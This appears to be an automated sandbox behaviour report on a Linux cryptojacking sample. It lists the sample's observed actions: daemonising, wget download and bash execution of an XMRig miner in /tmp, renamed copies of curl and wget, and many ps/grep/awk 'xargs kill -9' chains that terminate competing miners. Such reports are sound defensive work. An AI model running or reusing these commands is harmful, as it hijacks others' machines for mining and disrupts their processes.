Technical Information
Malicious functions:
Launches itself as a daemon
Launches processes:
- cp /usr/bin/curl /usr/bin/curl1&
- cp /usr/bin/wget /usr/bin/wget1&
- ps -ef | grep .daemond | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- ps -ef | grep /opt/yilu/work/xig/xig | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- ps -ef | grep monero | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- tar -zxvf xmrig-6.21.2-linux-static-x64.tar.gz
- grep /usr/bin/.sshd
- kill -9
- /usr/bin/mawk awk {print $2}
- /tmp/xmr
- grep .daemond
- <SAMPLE_FULL_PATH> -deamon
- grep ddg
- ps -ef
- grep monero
- ps -ef | grep pool. | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- grep xmr
- killall xmr
- grep kworker34
- ps -ef | grep Circle_MI | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- ps -ef | grep prohash | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- ps -ef | grep /usr/bin/.sshd | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- ps -ef | grep kworker34 | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- ps -ef | grep /opt/yilu/mservice | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- ps -ef | grep tcp: | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- grep miner
- grep /tmp/thisxxs
- cp /usr/bin/curl /usr/bin/curl1
- grep /opt/yilu/mservice
- chmod +x /tmp/xmr
- gzip -d
- /bin/bash /tmp/xmr
- grep tcp:
- grep /opt/yilu/work/xig/xig
- ps -ef | grep x86_ | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- ps -ef | grep cryptonight | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- grep /usr/bin/bsd-port/getty
- grep -v grep
- grep x86_
- ps -ef | grep stratum | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- ps -ef | grep /tmp/thisxxs | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- grep cryptonight
- ps -ef | grep ddg | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- grep Circle_MI
- ps -ef | grep /usr/bin/bsd-port/getty | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- ps -ef | grep miner | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- wget https://github.com/xmrig/xmrig/releases/download/v6.21.2/xmrig-6.21.2-linux-static-x64.tar.gz
- ps -ef | grep xmr | grep -v grep | awk \x27{print $2}\x27 | xargs kill -9
- xargs kill -9
- grep prohash
- cp /usr/bin/wget /usr/bin/wget1
- grep pool.
- grep stratum
Performs operations with the file system:
Modifies file access rights:
- /tmp/xmr
- /tmp/xmrig-6.21.2/config.json
- /tmp/xmrig-6.21.2/SHA256SUMS
Modifies file owner:
- /tmp/xmrig-6.21.2/config.json
- /tmp/xmrig-6.21.2/SHA256SUMS
Creates folders:
- /tmp/xmrig-6.21.2
Creates or modifies files:
- /usr/bin/wget1
- /tmp/config.json
- /tmp/xmr
- /tmp/xmrig-6.21.2-linux-static-x64.tar.gz
- /root/.wget-hsts
- /tmp/xmrig-6.21.2/config.json
- /tmp/xmrig-6.21.2/SHA256SUMS
- /tmp/xmrig-6.21.2/xmrig
Locks files:
- /root/.wget-hsts
Changes time of creation/access/modification of files:
- /tmp/xmrig-6.21.2-linux-static-x64.tar.gz
- /tmp/xmrig-6.21.2/config.json
- /tmp/xmrig-6.21.2/SHA256SUMS
Network activity:
Awaits incoming connections on ports:
- 127.0.0.1:14747
Establishes connection:
- 8.#.8.8:53
- 14#.##.121.4:443
- 18#.##9.108.133:0
- (e##val)
- 18#.##9.109.133:0
- 18#.##9.110.133:0
- 18#.##9.111.133:0
- 18#.##9.108.133:443
DNS ASK:
- gi##ub.com
- ob#####.#ithubusercontent.com
Sends data to the following servers:
- 14#.##.121.4:443
- 18#.##9.108.133:443
Receives data from the following servers:
- 14#.##.121.4:443
- 18#.##9.108.133:443
Other:
Collects OS information
Collects CPU information
Collects RAM information
Collects information about network activity
